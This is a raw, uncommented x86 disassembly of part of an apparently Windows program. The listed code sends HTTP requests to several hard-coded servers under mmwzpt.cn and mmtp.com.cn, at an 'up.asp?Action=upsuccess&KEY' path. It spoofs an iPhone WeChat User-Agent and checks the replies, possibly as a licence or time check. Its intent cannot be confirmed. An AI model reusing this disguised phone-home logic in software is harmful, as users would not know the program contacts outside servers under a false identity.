cmp dword [ebp - 0x78], 0xffffffff
je 0x4030ae
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567fd5
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x402eaa
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402eba
push ebx
call fcn.0044e406
add esp, 4
push dword [ebp - 0x84]
push str.http:__www1.mmwzpt.cn
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x402eeb
push ebx
call fcn.0044e406
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.00406ba1
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402fcc
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x402fdf
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x402ff2
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x403005
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x403018
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x40302b
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40303e
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x403051
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x403067
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x403093
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4030aa
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x567c1d
push dword [ebp - 0x28]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x403284
push dword [ebp - 0x24]
push str.http:__www1.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4031a8
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4031bb
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4031ce
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4031e1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4031f4
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x403207
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403217
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403227
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x40323d
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x403269
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x403280
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x567c1d
push dword [ebp - 0x28]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x40345f
call fcn.004112a9
push dword [ebp - 0x24]
push str.http:__www3.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403383
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x403396
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4033a9
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4033bc
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4033cf
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4033e2
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4033f2
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403402
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x403418
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x403444
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40345b
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x567c1d
push dword [ebp - 0x28]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x403635
push dword [ebp - 0x24]
push str.http:__www1.mmtp.com.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401129
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.00406ba1
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403559
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x40356c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40357f
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x403592
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4035a5
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4035b8
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4035c8
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4035d8
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x4035ee
mov eax, 0x567cb4
push eax
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x40361a
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x403631
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56806f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x403666
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x4037d2
call fcn.004112a9
push 0
mov ebx, 0x450b00
call fcn.0044e41e
add esp, 4
push reloc.WS2_32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x450a30
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000601
push 0x40000000
push 0
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x84]
push 0x80000601
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push 2
mov ebx, 0x44e730
call fcn.0044e41e
add esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
fld qword [ebp - 0x94]
ftst
fnstsw ax
test ah, 1
je 0x40370e
fchs
fcomp qword [0x567c3a]
fnstsw ax
test ah, 0x41
je 0x4037cd
inc dword [0x5cee30]
fild dword [0x5cee2c]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x5cee08]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401185
mov dword [0x5cee2c], eax
push 0x80000301
push 0
push dword [0x5cee2c]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x1601b667
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4037a0
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x568073
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x451bb0
call fcn.0044e41e
add esp, 0x1c
jmp 0x4065fc
push str.Atimeerr
push dword [ebp - 0x28]
call fcn.00401021
add esp, 8
cmp eax, 0
jne 0x40381d
push reloc.WS2_32.dll_connect
push 0
push 0x568090
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x451bb0
call fcn.0044e41e
add esp, 0x1c
jmp 0x4065fc
mov dword [0x5cee30], 0
mov dword [0x5cee2c], 0
push 0x80000301
push 0
push dword [0x5cee2c]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x1601b667
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40387e
push ebx
call fcn.0044e406
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680df
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x56806f
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4038cd
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4038dd
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4038f4
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x567e83
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680df
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403947
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403957
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40396e
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680e3
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x567e83
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4039c1
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4039d1
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x4039e7
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f260
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403a19
push ebx
call fcn.0044e406
add esp, 4
push 0x80000601
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push 1
mov ebx, 0x44f3c0
call fcn.0044e41e
add esp, 0x10
mov dword [0x5cee3c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680e7
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680e3
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403a90
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403aa0
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x403ab6
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f3c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403ae2
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5cee40], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680eb
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680e7
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403b3c
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403b4c
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x403b62
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f3c0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403b8e
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x5cee44], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680ef
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680eb
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403be8
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403bf8
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5cee48]
test ebx, ebx
je 0x403c12
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [0x5cee48], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push 0x5680f3
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee48]
test eax, eax
jne 0x403c5b
mov eax, 0x567c1d
push eax
push 6
mov ebx, 0x44f7b0
call fcn.0044e41e
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
push 0x5680fb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x403cb2
mov eax, 0x567c1d
push eax
push 6
mov ebx, 0x44f7b0
call fcn.0044e41e
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403cd8
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5cee48]
test ebx, ebx
je 0x403cef
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [0x5cee48], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x5680fe
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680ef
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403d44
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403d54
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x5cee4c]
test ebx, ebx
je 0x403d6e
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [0x5cee4c], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push 0x5680f3
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee4c]
test eax, eax
jne 0x403db7
mov eax, 0x567c1d
push eax
push 6
mov ebx, 0x44f7b0
call fcn.0044e41e
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push 0x567e8c
push reloc.WS2_32.dll_connect
push 0
push 0x5680fb
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x403e0e
mov eax, 0x567c1d
push eax
push 6
mov ebx, 0x44f7b0
call fcn.0044e41e
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403e34
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x5cee4c]
test ebx, ebx
je 0x403e4b
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [0x5cee4c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x568102
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x5680fe
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403ea0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403eb0
push ebx
call fcn.0044e406
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160100e8
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403ee1
push ebx
call fcn.0044e406
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x568106
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x568102
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403f30
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403f40
push ebx
call fcn.0044e406
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x16011c81
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403f71
push ebx
call fcn.0044e406
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x56810a
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x568106
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407f3b
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403fc0
push ebx
call fcn.0044e406
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403fd0
push ebx
call fcn.0044e406
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403fe7
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.00401a64
push reloc.WS2_32.dll_connect
push 0
push 0x5680f3
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40402c
mov eax, 0x567c1d
push eax
push 6
mov ebx, 0x44f7b0
call fcn.0044e41e
add esp, 0x4c
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [0x5cee04]
test ebx, ebx
je 0x404059
push ebx
call fcn.0044e406
add esp, 4
pop eax
mov dword [0x5cee04], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x56810e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5cee04]
test eax, eax
jne 0x404092
mov eax, 0x567c1d
push eax
push 4
mov ebx, 0x44f010
call fcn.0044e41e
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4040c1
mov dword [0x5cee38], 1
jmp 0x4040cb
mov dword [0x5cee38], 0
push 0x80000301
push 0
push dword [0x5cee40]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160100e5
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404118
push ebx
call fcn.0044e406
add esp, 4
push 0x80000301
push 0
push dword [0x5cee44]
push 1
mov ebx, 0x4503a0
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160100e7
push 0x52010001
call fcn.0044e43c
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x404165
push ebx
call fcn.0044e406
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x404178
mov eax, 0x567c1d
push eax
push 1
mov ebx, 0x44f260
call fcn.0044e41e
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fld qword [ebp - 0x80]
ftst
fnstsw ax
test ah, 1
je 0x40419f
fchs
